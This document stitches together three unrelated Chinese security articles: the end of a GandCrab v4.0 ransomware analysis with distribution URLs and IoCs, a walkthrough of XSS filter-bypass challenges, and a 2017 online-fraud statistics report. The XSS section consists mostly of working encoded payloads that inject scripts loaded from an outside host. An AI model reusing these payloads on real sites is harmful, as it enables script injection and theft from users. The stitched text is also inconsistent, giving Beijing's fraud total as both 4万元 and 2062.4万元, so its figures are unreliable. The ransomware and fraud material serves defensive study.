domain>_/file_c.php _< random_chars>_= _< HEX_digest_of_cracked_appname>_
http[:]//gabysutton[.]com/file_c.php?vubljfwmqpkebpes=437261636b5f53617070686972655f506c7567696e735f666f725f41667465725f456666656374732e657865
_(Crack_Sapphire_Plugins_for_After_Effects.exe)_
http[:]//gagaryn[.]com/file_c.php?lkgpsudyvbjs=437261636b5f4d657267696e675f496d6167655f746f5f5044462e657865
_(Crack_Merging_Image_to_PDF.exe)_
http[:]//blog.ygtecnopc[.]com/file_c.php?rnopbuvnxdmk=437261636b5f4d657267696e675f496d6167655f746f5f5044462e657865
_(Crack_Merging_Image_to_PDF.exe)_
## 嘲讽与俄语的侥幸逃脱
正如我们预期的那样，GandCrab是直接执行的，没有进行反分析或者沉重的混淆。
代码中发现被混入了发给恶意软件研究人员经典的消息字符串，暗示着这个新版本仍出自同一个开发者之手。Salsa20密码和[Zerophagel337](https://twitter.com/zerophage1337?lang=en)的开发者，同时也是恶意软件研究员的[Daniel
J.
Bernstein](https://twitter.com/hashbreaker?lang=en)，也进入了的不断增长的嘲讽名单，新旧debug字符串也很难错过。
图3.从解压缩的二进制文件中的嘲讽字符串
正如之前的版本一样，如果目标系统来自于主要说俄语的国家，它就不对其进行感染。除了进行俄语键盘布局的检查外，这个最新版本还为以下俄语国家添加了用户界面语言检查：
* ·俄语（0x419）
* ·乌克兰语（0x422）
* ·白俄罗斯语（0x423）
* ·塔吉克语（0x428）
* ·亚美尼亚语（0x42B）
* ·阿塞拜疆语（0x42C / 0x82C）
* ·格鲁吉亚语（0x437）
* ·哈萨克斯坦语（0x43F）
* ·吉尔吉斯斯坦语（0x440）
* ·土库曼语（0x442）
* ·乌兹别克斯坦语（0x843）
* ·塔塔尔语（0x444）
* ·罗马尼亚语（0x818）
* ·摩尔多瓦语（0x819）
如果用户的Common AppData目录（例如C： ProgramData）中存在文件 _< 8hex-chars>
.lock_（例如2078FBF8.lock）也会使恶意软件终止而不会感染系统。文件名的 _8hex-chars_
部分是在向右移动后从根驱动器的卷序列号值生成的。
图4.检查是否存在<8-hex> .lock的片段
## Salsa20和共享网络加密
被加密的文件现在被添加了“.KRAB”扩展名，而被放到每个目录中的赎金提示文本也被更改为了 _“KRAB-DECRYPT.txt”_
图5.添加了.KRAB扩展名的被加密文件
系统中的所有驱动器（包括映射驱动器）都会被恶意软件加密，而且这一次为了扩大其侵害范围，它还加密了受害者机器保存的共享网络。
图6.加密共享网络的例程
如上所述，这个新版本现在使用Salsa20流密码来加密文件，而不再是用于不同任务的RSA-2048加密。同样需要注意的是，在以前的版本中，此恶意软件在进行文件加密之前可能需要连接到其C2服务器，而这个新版本中不需要，这就意味着即使目标设备未连接到网络，也可以对其进行文件加密。
RSA-2048私钥和Salsa参数的加密过程如下：
* ·生成RSA-2048私钥和公钥
* ·由Salsa20的密钥分别随机生成一个32字节和一个8字节值
* ·使用Salsa20加密生成的RSA-2048私钥
* ·使用先前生成的RSA-2048公钥对Salsa20密钥和随机数进行加密
被加密的密钥存储为二进制块，写入注册表 _HKCUSoftwarekeys_datadataprivate_ 中。
而原始RSA公钥被存储在 _HKCUSoftwarekeys_datadatapublic_ 下。
图7.添加到注册表中的被加密的密钥
在文件加密进程运行期间执行一个类似的进程，生成一对随机的32字节和8字节值，分别由Salsa20用作关键字和随机数参数，这是为了每个要加密的文件完成的。正如我们预期的那样，这些密钥立即被RSA-2048公钥加密，该公钥连同其原始文件尺寸被附加在加密文件内容的末尾。
图8.GandCrab V4.0加密文件的结构
## 赎金提示文本和支付页面
结合上新的加密程序，赎金提示也发生了一些变化。现在，作为恶意软件受害者的通知和指示的赎金提示还包含了我们之前讨论的加密密钥（以base64编码）和受害者的基本信息，该信息在进行base64编码之前先通过硬编码密钥
_“jopochlen”_ 的RC4算法加密。
图9.Ransom note包括了加密密钥和受害者数据
而GandCrab支付页面并没有太大变化。作为保证，他们仍然为受害者提供一次单个文件的免费解密。但是，在我们的测试中，它实际上并不能解密我们上传的加密文件。但无论测试的结果如何，仍然强烈建议受害者拒绝支付赎金。
图10.支付页面在几天后要求1000美元
图11.GandCrab支付网站的免费解密会导致一个错误
## 总结
尽管在过去两个月内攻击者对此新版本的GandCrab进行了大量内部更改，但它仍然是同一个活跃的文件加密恶意软件，对其设法感染的系统仍可能造成严重损害。即便如此，这也是良好的网络卫生可以缓解的问题。在这种情况下，我们建议用户始终对从网络下载的文件保持警惕，尤其是破解版的应用程序，这些不仅违反了版权法，而且还会带来很大的风险，特别是对于未经培训过的用户。
目前，恶意软件正被分发给受感染的网站，我们预计它将转移到其他分发模式，特别是像过去一样的垃圾邮件活动。
我们没有找到与此版本的任何网络通信。但是，在撰写更新版本时，GandCrab
v4.1在v4.0发布后仅仅一两天就发布了。根据我们的简要分析，这个新版本现在包含了一些网络通信功能。我们将发表一篇讨论这一更新的文章。
与往常一样，FortiGuard Labs将继续监控此恶意软件以进行更新。
## 解决方案
目前，在系统的COMMON APPDATA文件夹中创建 _< 8hex-chars>
.lock_文件可以防止此恶意软件感染系统。但是，这不应被视为一个永久性解决方案，因为攻击参与者可以轻松删除检查过程，尤其是对于像GandCrab这样的主动更新的恶意软件。
Fortinet客户受以下保护：
* ·通过启发式检测工具W32/GandCrypt.CHT!tr检测样本
* ·我们观察到的受感染网站已被FortiGuard Web过滤归类为恶意网站
* ·FortiSandbox将GandCrab评为高风险
## IoCs
6c1ed5eb1267d95d8a0dc8e1975923ebefd809c2027427b4ead867fb72703f82 (packed) –
W32/GandCrypt.CHT!tr
15d70bdbf54b87440869a3713710be873e595b7e93c0559428c606c8eec1f609 (unpacked) –
W32/GandCrypt.CHT!tr
审核人：yiwang 编辑：边边 | 社区文章 |
# 独孤九剑xss通关教程
## **独孤九剑第一式：**
这里过滤了 =()
构造payload：
?data="><svg><script>%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
?data=1%22%3E%3Cscript%3Edocument.write` \u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e \u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`%3C/script%3E%3C!--)
解码后就是这样，这里是因为在 svg 下面的 script 可以使用 html 编码，利用 html 编码绕过=() 的过滤
?data=">#with
(document)body.appendChild(createElement('script')).src='<http://127.0.0.1/xss/alert.js>'
成功通关
## **独孤九剑第二式：**
这里过滤了 =(). 新增了.的过滤 利用 setTimeout 以及``代替括号，同时采用\u 编码绕过对()和.的限制
构造payload：
http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076 \u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\ u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029 `;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='ht tp://xcao.vip/xss/alert.js'
成功通关
## **独孤九剑第三式：**
过滤了 ().&#\ 注意和第二题的不同，放开了=的过滤，新增了&#\的过滤
没有过滤=了，可以直接用 script 加载，然后利用%2e URL 编码绕过对点号的过滤
构造payload：
http://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=http://xcao%252evip/xs s/alert%252ejs%3E%3C/script%3E
成功通关
## **独孤九剑第四式：**
过滤了 =().&#\
%编码还能用，可以使用 javascript 伪协议+URL 编码的方法，使用 location.replace 方法引入 javascript 协议，由于
location.replace 里面的参数是连接， 里面必然可以使用 URL 编码，因此顺利绕过，把().分别用 %2528 %2529 %252e
编码，因为 location 是 URL,因此后自动解码 URL 编码。
利用iframe标签然后配合base64编码的js加载
构造payload：
http://xcao.vip/test/xss4.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--
成功通关
## **独孤九剑第五式：**
过滤了 ().&#\% 这里和第四题的区别是新增了%的过滤，同时不再过滤=，因为和第三题比较只是多了一个%的过滤，因此沿用第三题的思路，这里想到了一个 IP
十进制的方法，把 IP 地址转换成十进制不就没.了吗。 alert.js 好处理，可以用自己的一个域名跳转到目标域名，自己域名链接不要带.就行
http://xcao.vip/test/xss5.php?data=%22%3E%3Cscript%20src=http://2067398186/xxx% 3E%3C/script%3E
构造payload：
http://xcao.vip/test/xss5.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--
成功通关
## **独孤九剑第六式：**
过滤了 =().&#\%
构造payload：
http://xcao.vip/test/xss6.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--
成功通关
另外的payload：
http://xcao.vip/test/xss6.php?data=%22%3E%3Ciframe%3E%3C/iframe%3E%3Cscript%3Ef rames[0][%22location%22][%22replace%22]`data:text/html;base64,PHNjcmlwdCBzcmM9a HR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`%3C/script%3E
成功通关
## **独孤九剑第七式：**
过滤了 =().&#\%<>，输入点在js里
将=，<，>进行ascii编码，有效载荷稍作修改即可
http://xcao.vip/test/xss7.php?data=%22%22;top[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`60`%2b%22iframe%20src%22%2btop[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%22%2btop[%22String%22][%22fromCharCode%22]`62`}`
成功通关
构造payload：用 hash 保存工具向量
http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${locat ion['hash']['slice']`1`}```#with(document)body.appendChild(createElement('scrip t')).src='http://xcao.vip/xss/alert.js'
成功通关
## **独孤九剑第八式：**
过滤了 =().&#\%<>’”[]，新增’”[]的过滤。
利用 base64
<http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3J>
pcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```
成功通关
## **独孤九剑第八-1 式：**
过滤了 =().&#\%<>’”{}，新增{}的过滤。 放开[]的使用权，没有了{}就没法使用 js 模板了，那攻击向量存哪儿呢？
Function`name```肯定是不行的 但是别忘了万能的伪协议
base64
http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjP ScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`
成功通关
## **独孤九剑第八-2 式：**
过滤了 =().&#\%<>’”[] Function，相对于第 8 式新增 Function 的过滤（这是不是像极了 struts2
修复漏洞的方式）第八关的解法不能用[]和引号，那么是不是必须要在 window 下面另外找一个方法来替代 Funtion 呢？ setTimeout?
open? 先看看 open 的参数
window.open('page.html', 'newwindow', 'height=100, width=400, top=0, left=0,
to olbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no')
如果我们能控制第二个参数就可以了，因为可以用
open("javascript:name","img src=x onerror=alert(domain.domain)>") //请忽略浏览器拦截
这里需要复习一下 js 模板的方法调用
aa`aaa${1}bbb${2}ccc`
相当于就是,传递了三个参数
["aaa,bbb,ccc", "1", "2"]
因此我们可以构造
open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW
50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjY
W8udmlwL3hzcy9hbGVydC5qcyc+`}`
构造payload
<http://xcao.vip//test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9>
eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWV
udCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b`}`
成功通关
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 2017年网络诈骗趋势研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：猎网平台
## 摘要
* 2017年猎网平台共收到全国用户提交的有效网络诈骗举报24260例，举报总金额3.50亿余元，人均损失14413.4元。与2016年相比，网络诈骗的举报数量增长了17.6%，人均损失却增长了52.2%。
* 从用户举报数量来看，虚假兼职诈骗是举报数量最多的类型，共举报3804例，占比15.7%；其次是金融理财3667例（15.1%）、虚假购物3479例（14.3%）、虚拟商品2688例（11.1%）、网游交易2606例（10.7%）。
* 从举报总金额来看，金融理财类诈骗同样是举报总金额最高，达1.8亿元，占比52.6%；其次是赌博博彩诈骗，举报总金额5977.6万元，占比17.1%；身份冒充诈骗排第三，举报总金额为2782.7万元，占比8.0%。
* 从人均损失来看，金融理财类诈骗人均损失最高，达到了50168.2元；其次是赌博博彩诈骗为36853.3元，身份冒充为12020.2元。
* 从用户举报数量来看，有15911人是通过银行转账、第三方支付、扫二维码支付等方式主动给不法分子转账，占比65.6%，其次有7442人在虚假的钓鱼网站上支付，占比30.7%；安装木马软件从而被盗刷的用户有328人，占比1.4%；在钓鱼网站上填写用户的账号、密码等隐私信息后，被盗刷的用户有302人，占比1.2%；主动告知告知账号密码/二维码/验证码/付款码盗刷从而被盗刷的有185人，占比0.8%，还有88人遭到勒索软件、恐吓电话等被勒索盗刷，占比0.4%。
* 从举报总金额来看，钓鱼网站支付，占比64.3%，累计2.2亿元；其次受害者主动转账占比33.7%，累计1.2亿元；木马软件导致盗刷占比0.8%，累计279.7万元；钓鱼网站导致盗刷占比0.6%，累计215.6万元；主动告知告知账号密码/二维码/验证码/付款码从而被盗刷占比0.5%，累计167.8万元。
* 广东（13.1%）、山东（6.8%）、江苏（5.7%）、河南（5.6%）、四川（5.1%）、浙江（5.0%）这6个省级行政区的被骗用户最多。举报数量约占到了全国用户举报总量的41.4%。
* 从各城市举报量来看，北京是举报人数最多的城市，为879起，其次深圳664起、广州642起、上海588起、成都551起、重庆446起、武汉364起、东莞350起、郑州330起和西安291起。
* 从各城市网络诈骗举报总金额来看，北京以4万元位居榜首，其次上海（1245.2万元）、成都（897.5万元）、深圳（844.1万元）、广州（769.3万元）和昆明（712.9万元）的涉案总金额也在700万元以上。
* 从举报用户的性别差异来看，男性受害者占69.7%，女性占30.3%，男性受害者占比大大高于女性。但从人均损失来看，男性为13175元，女性为17944元。
* 90后的网络诈骗受害者占所有受害者总数的43.1%，其次是80后占比为31.6%，70后占比为11.9%，00后占比8.4%，60后占比为4.0%，其他年龄段仅占1.1%。特别值得注意的是，00后遭遇网络诈骗开始增多，2016年仅有3.0%的00后进行举报，而今年却增长到8.4%，可见随着00后年龄的不断增长，其也渐渐成为网络诈骗的重要目标。
* 而从具体年龄上来看，17岁至34岁的人群是网络诈骗受害者最为集中的年龄段，占所有网络诈骗受害者的71.2%。还有值得注意的是，在2015年的网络诈骗受害者中，15岁及以下的青少年占比仅为2.3%，2016年为3.0%，而2017年达到3.9%，呈现逐年上升的趋势。这表明，网络诈骗对于青少年的危害正在日益增加。
**关键词：** 网络诈骗、虚假兼职、虚假购物、退款欺诈、信用套现
## 网络诈骗综述
2017年，猎网平台共收到全国用户提交的有效网络诈骗举报24260例，举报总金额3.50亿余元，人均损失14413.4元。与2016年相比，网络诈骗的举报数量增长了17.6%，人均损失却增长了52.2%。2014-2017年统计以来，每年的人均损失均出现大幅增长，可见网络诈骗正在严重的威胁着网民的财产安全。
图1
## 网络诈骗案情分类对比
### 一、举报数量与类型
从2017年所有举报的诈骗案情来看，猎网平台共收到全国用户有效申请的网络诈骗举报24260例，虚假兼职诈骗是举报数量最多的类型，共举报3804例，占比15.7%；其次是金融理财3667例（15.1%）、虚假购物3479例（14.3%）、虚拟商品2688例（11.1%）、网游交易2606例（10.7%）。
从举报总金额来看，金融理财类诈骗同样是总金额最高，达1.8亿元，占比52.6%；其次是赌博博彩诈骗，举报总金额5977.6万元，占比17.1%；身份冒充诈骗排第三，举报总金额为2782.7万元，占比8.0%。
从人均损失来看，金融理财类诈骗人均损失最高，达到了50168.2元；其次是赌博博彩诈骗为36853.3元，身份冒充为12020.2元。
下表详细给出了用户向猎网平台举报的不同类型网络诈骗的举报数量及占比、举报金额及占比、人均损失及占比情况。
**诈骗类型** | **举报数量统计** | **举报金额统计** | **人均损失**
---|---|---|---
**举报数量** | **占比** | **举报金额（万元）** | **占比** | **（元）**
**虚假兼职** | 3804 | 15.7% | 2666.8 | 7.6% | 7010.4
**金融理财** | 3667 | 15.1% | 18396.7 | 52.6% | 50168.2
**虚假购物** | 3479 | 14.3% | 962.2 | 2.8% | 2765.8
**虚拟商品** | 2688 | 11.1% | 796.3 | 2.3% | 2962.5
**网游交易** | 2606 | 10.7% | 674.3 | 1.9% | 2587.4
**身份冒充** | 2315 | 9.5% | 2782.7 | 8.0% | 12020.2
**赌博博彩** | 1622 | 6.7% | 5977.6 | 17.1% | 36853.3
**交友** | 1110 | 4.6% | 786.1 | 2.2% | 7082.0
**退款诈骗** | 619 | 2.6% | 616.5 | 1.8% | 9960.3
**信用卡欺诈** | 464 | 1.9% | 294.5 | 0.8% | 6347.9
**虚假中奖** | 430 | 1.8% | 156.8 | 0.4% | 3647.1
**红包** | 225 | 0.9% | 14.2 | 0.1% | 629.6
**保证金欺诈** | 68 | 0.3% | 28.3 | 0.1% | 4161.7
**其他** | 1163 | 4.8% | 813.8 | 2.3% | 6997.7
**总计** | 24260 | 100.0% | 34966.9 | 100.0% | 14413.4
**表** **1** **主要网络诈骗类型举报数量及涉案金额情况**
下图给出了主要网络诈骗类型的举报量和涉案总金额分布情况:
图2
下图给出了2017年网络诈骗主要类型举报量Top10：
图3
虚假兼职连续多年成为举报量第一的网络诈骗类型，骗子主要是通过短信、QQ、微信、知名招聘网站上发布虚假招聘信息，以时间自由，高薪来吸引较多空闲时间的大学生和在家带孩子的妈妈群体，然后以各种借口，收取押金，培训费和材料费等其他费用，交完钱后即刻被拉黑，进行诈骗。
而从2017年一季度开始，虚假兼职刷单诈骗呈现出了新骗局，骗子让受害者先在正规电商购买商品，以防止平台发现刷单为借口，让其通过第三方支付软件扫码转账方式购买，等到受害者发现上当后，骗子迅速消失。
### 二、举报金额
在所有用户举报的诈骗案情中，金融理财（1.8亿元）诈骗是涉案总金额最高的诈骗类型，因其涉及到购买金融产品，往往单笔的涉案金额都较大；从2017年金融理财类诈骗举报来看，举报金额直线上升，Q4（4244.7万元）举报金额与Q1（2476.2万元）相比，增长了71.4%。
其次赌博博彩（5977.6万元）类诈骗，因其单笔金额较大和不服输的心理导致不断往骗子口袋送钱。此外，身份冒充、虚假兼职诈骗的涉案总金额也较高，分列第三和第四位。
图4
从人均损失来看，金融理财（50168元）类诈骗也是最高的；而赌博博彩（36853元）诈骗是仅次于金融理财诈骗，排名第二；此外，身份冒充、退款诈骗等类型的网络诈骗给网民造成的损失也是较大的。
图5
### 三、网络诈骗的劫财方式
在猎网平台2017接到的用户举报中，有15911人是通过银行转账、第三方支付、扫二维码支付等方式主动给不法分子转账，占比65.6%，其次有7442人在虚假的钓鱼网站上支付，占比30.7%；安装木马软件从而被盗刷的用户有328人，占比1.4%；在钓鱼网站上填写用户的账号、密码等隐私信息后，被盗刷的用户有302人，占比1.2%；主动告知告知账号密码/二维码/验证码/付款码盗刷从而被盗刷的有185人，占比0.8%，还有88人遭到勒索软件、恐吓电话等被勒索盗刷，占比0.4%。
如果从涉案总金额来看，钓鱼网站支付，占比64.3%，累计2.2亿元；其次受害者主动转账占比33.7%，累计1.2亿元；木马软件导致盗刷占比0.8%，累计279.7万元；钓鱼网站导致盗刷占比0.6%，累计215.6万元；主动告知告知账号密码/二维码/验证码/付款码从而被盗刷占比0.5%，累计167.8万元。
下图给出了网络诈骗受害者钱财被骗方式的情况：
图6
不同类型网络诈骗的劫财方式也有很大的不同，下图给出了部分主要网络诈骗类型的劫财方式对比，从中可以看出，信用卡欺诈、虚假兼职、身份冒充、交友类网络诈骗形式，八成以上的受害者都是深受骗子的蒙骗和蛊惑主动将钱转至骗子的指定账户中；而如赌博博彩、金融理财、网游交易类诈骗，绝大多数受害者都是因为登录了钓鱼网站并进行支付而被骗的。
图7
### 网络诈骗受害者举报地域分析
从用户举报情况来看，广东（13.1%）、山东（6.8%）、江苏（5.7%）、河南（5.6%）、四川（5.1%）、浙江（5.0%）这6个省级行政区的举报网络诈骗用户最多。举报数量约占到了全国用户举报总量的41.4%。
图8
从下图可以看出，经济发达及人口大省是网络诈骗举报最积极的区域。同时也反应出该地区网络诈骗受害者更多。
图9
从各城市网络诈骗的举报量来看，北京是举报人数最多的城市，为879起，其次深圳664起、广州642起、上海588起、成都551起、重庆446起、武汉364起、东莞350起、郑州330起和西安291起。
图10
从各城市网络诈骗涉案总金额来看，北京以2062.4万元位居榜首，其次上海（1245.2万元）、成都（897.5万元）、深圳（844.1万元）、广州（769.3万元）和昆明（712.9万元）的涉案总金额也在700万元以上。
图11
## 网络诈骗受害者特征
### 受害者性别特征
从举报用户的性别差异来看，男性受害者占69.7%，女性占30.3%，男性受害者占比大大高于女性。但从人均损失来看，男性为13175元，女性为17944元。可见在网络生活中，女性的上当几率其实要比男性低得多，可女性一旦相信了骗子，往往会比男性付出更大的代价。
图12
从2014年-2017年的情况来看，男性是网络诈骗受害的主要人群，这与男性本身更爱接触互联网新业务、喜欢尝试冒险的行为有很大关系。
图13
从受害者人均经济损失来看：2017年，男性受害者人均损失较2016年增长了38.3%；而女性受害者人均损失较2016年增长81.9%，可见女性受害者人均损失大幅升高。
图14
男性和女性在不同类型的网络诈骗中被骗几率也有明显不同。下图给出了十类常见网络诈骗受害者中男女比例对比情况，其中，在赌博博彩、网游交易、交友和信用卡诈骗中，被骗的几乎80%都是男性。
而退款诈骗和虚假兼职类诈骗是女性被骗比例最高的诈骗类型，这两类诈骗主要是与网络购物相关性较强，退款诈骗一般都是冒充网店客服进行退款骗钱，而兼职更多的是通过为网店刷信誉来进行诈骗。可见女性在买买买的同时，更容易接触到上述两类骗局，且也容易相信骗子的谎言而上当受骗。
不同诈骗类型的性别分布如下图所示。
图15
特别值得注意的是，男性和女性在被骗类型方面也有很大的区别。
金融理财是男性被骗最多的类型，同时也是女性被骗排名第二的类型，且占比均为15.3%。在互联网理财不断发展的同时，骗子也抓住机会，建立虚假的理财网站进行诈骗。从今年举报金额上看，金融理财类诈骗的报案金额也越来越大，整体上拉高了网络诈骗的人均损失。
虚假兼职，是女性举报网络诈骗最多的类型，其主要是通过为网店刷单来诈骗，因此爱购物的女性更加容易受骗。
虚假购物主要是男性第二举报网络诈骗第二大类型，女性举报第三大类型，其最大特点是借助二手平台、社交软件销售低价手机、电脑等数码产品，吸引受害者向骗子直接进行转账。
图16
通过男女劫财方式的对比来看，女性主动转账的情况更高，占比72.4%，可见其更容易相信骗子的谎言，直接将钱打入骗子的账户。
图17
### 受害者年龄特征
从被骗网民的年龄上看，90后的网络诈骗受害者占所有受害者总数的43.1%，其次是80后占比为31.6%，70后占比为11.9%，00后占比8.4%，60后占比为4.0%，其他年龄段仅占1.1%。特别值得注意的是，00后遭遇网络诈骗开始增多，2016年仅有3.0%的00后进行举报，而今年却增长到8.4%，可见随着00后年龄的不断增长，其也渐渐成为网络诈骗的重要目标。
总体而言，即具有一定的上网能力，上网时间较长，同时又缺乏足够社会经验的年轻人是网络诈骗的主要对象和主要受害人群。
图18
而从具体年龄上来看，17岁至34岁的人群是网络诈骗受害者最为集中的年龄段，占所有网络诈骗受害者的71.2%。
图19
还有值得注意的是，在2015年的网络诈骗受害者中，15岁及以下的青少年占比仅为2.3%，2016年为3.0%，而2017年达到3.9%，呈现逐年上升的趋势。这表明，网络诈骗对于青少年的危害正在日益增加。15岁及以下的上网人群属于就读小学、初中的学生群体，因此，中小学校园中展开青少年网络安全教育工作显得更加迫切。
下图给出了不同类型的网络诈骗受害者的年龄段分布情况。从图中我们同样可以看出，在网络兼职和退款诈骗的受害者中，一半以上为90后。其他诈骗类型中，90后也是诈骗的主要群体。事实上，90后年轻人刚踏入社会，或初涉职场，在职业方面尚缺少基本的安全防范知识，所以也最容易调入虚假兼职这种看似挣钱轻松，挣钱快的网络诈骗陷阱中。
另外我们可以看到00后，也在网游交易、虚拟商品、虚假购物中有10%以上的受害者，可见网络诈骗触及的人群年龄越来越低，其实网游交易也可归属到虚拟商品的交易类型中，年龄尚浅的00后，更容易在此类网络诈骗中受骗。
图20
下图给出了网络诈骗受害者年龄段人数与人均损失的对比，从图中可以看出，随着年龄的增长，受害者人均损失也在增长。16-30岁之间的用户，是上网的主力人群，被骗的人数虽多，但由于年轻人经济能力有限，被骗平均金额相对较少。45岁以后的受害者，年龄越大，经济能力也越强，虽然上网的人群、时间在减少，但被骗平均金额迅速增长，超过了30000元。
**图** **21**
## 网络诈骗发展现状及特点
2017年各种不断涌现的黑科技正逐步改变着我们的生活方式。当然，骗子也开始学习新技能，让网络诈骗越来越难防范。综合猎网平台接到的网络诈骗举报线索以及2017年媒体曝光的部分新型诈骗案例来分析，2017年以来，网络诈骗主要呈现以下几个明显的特点。
### 线下扫码骗局多，随意转账惹灾祸
利用手机进行线下扫码支付越来越频繁，现在很多人已经实现了无现金出行。自2016年以来，出现不法分子偷换商家收款二维码诈骗、带二维码的虚假违规停车单诈骗、诱骗付款二维码盗刷，最热门的共享单车，也被贴上了虚假二维码，让用户转账。从2017年开始，猎网平台接收到的最多诈骗类型——虚假兼职诈骗，也开始转变方式，骗子让受害者在正规电商进行下单，以防止平台发现刷单为由，直接发送收款二维码给受害者，让其进行扫描转账进行诈骗。利用方便的二维码，骗子们想出了花样繁多的诈骗方式，让人防不胜防。
### 卡里没钱也被骗，手机贷款成标配
自2016年5月份以来，猎网平台发现在常见的退款诈骗中，诱骗受害者进行互联网小额贷款业务，并将钱转到骗子的账户中，经过近一年的发展，2017年利用手机接收短信验证码，开通小额贷款，从而再进行诈骗，已经成为了此类诈骗的标配手段，这一骗术，打破了常人以为银行卡，支付账户中没钱不能被骗的观念。且诈骗金额巨大，几万甚至十几万贷款全部被骗。
例如骗子以货品有质量问题等各种理由，承诺给受害人退款、赔偿，再以转账不通过等理由，要求受害人按照其要求操作，在受害人不知情的情况下，在支付宝等金融机构贷款，再将贷款金额转账给他的方式进行诈骗。
图22
### 手机勒索再升温，扫码也能交赎金
手机勒索软件通过技术手段阻止用户正常使用手机来勒索钱财，以往是先加好友再商量如何转账。现在直接变为软件显示付款二维码，直接扫描支付赎金。
手机勒索类应用是指通过重置开机密码或者页面置顶等手段阻止用户进入手机桌面、强制锁定手机并以此勒索用户支付解锁费用的应用，这类应用由于制作成本低廉且变现快深受制马人的喜爱，因此在应用市场上疯狂增殖。
尽管来源、展现形式各异，勒索软件的最终目的都是勒索钱财，以往最常见的勒索形式是添加作者在勒索界面提供的社交帐号，然后联系作者协商付费方式并要求作者解锁，如下图所示，随着移动支付的发展与普及，勒索软件中的支付形式出现了新变化。
图23
2017年，我们捕获到了一批勒索软件还提供了微信二维码信息，并提示微信扫描二维码可直接支付且支付成功后自动解锁，用户扫码后将进入转账界面。然而通过样本分析发现，该类勒索软件代码结构极其简单，且根本没有与微信转账相关的任何代码，仅仅只是在资源文件中包含了收款人的二维码信息，所谓的“扫描支付，自动解锁”
彻头彻尾是一个骗局，即便受害用户完成转账也根本不能自动解锁。
### 付款截图不好骗，套取数字来盗钱
随着手机支付扫码越来越普及，手机已经成为了很多用户的“钱包”；扫码付款既简单又方便，交易中只需要扫描付款的二维码即可完成交易；正因为交易场景简单，很多不法分子也盯上了二维码交易，2016年出现了很多骗取用户二维码截图后，盗刷的骗局，但2017年由于支付公司付款二维码截图过程中进行了防骗提示或很难截图，使得这一骗术变得困难，骗子转换思路，骗取付款码数字进行盗刷，也形成了一条新的产业链。
图26
### 账号密码全备好，登录就算被套牢
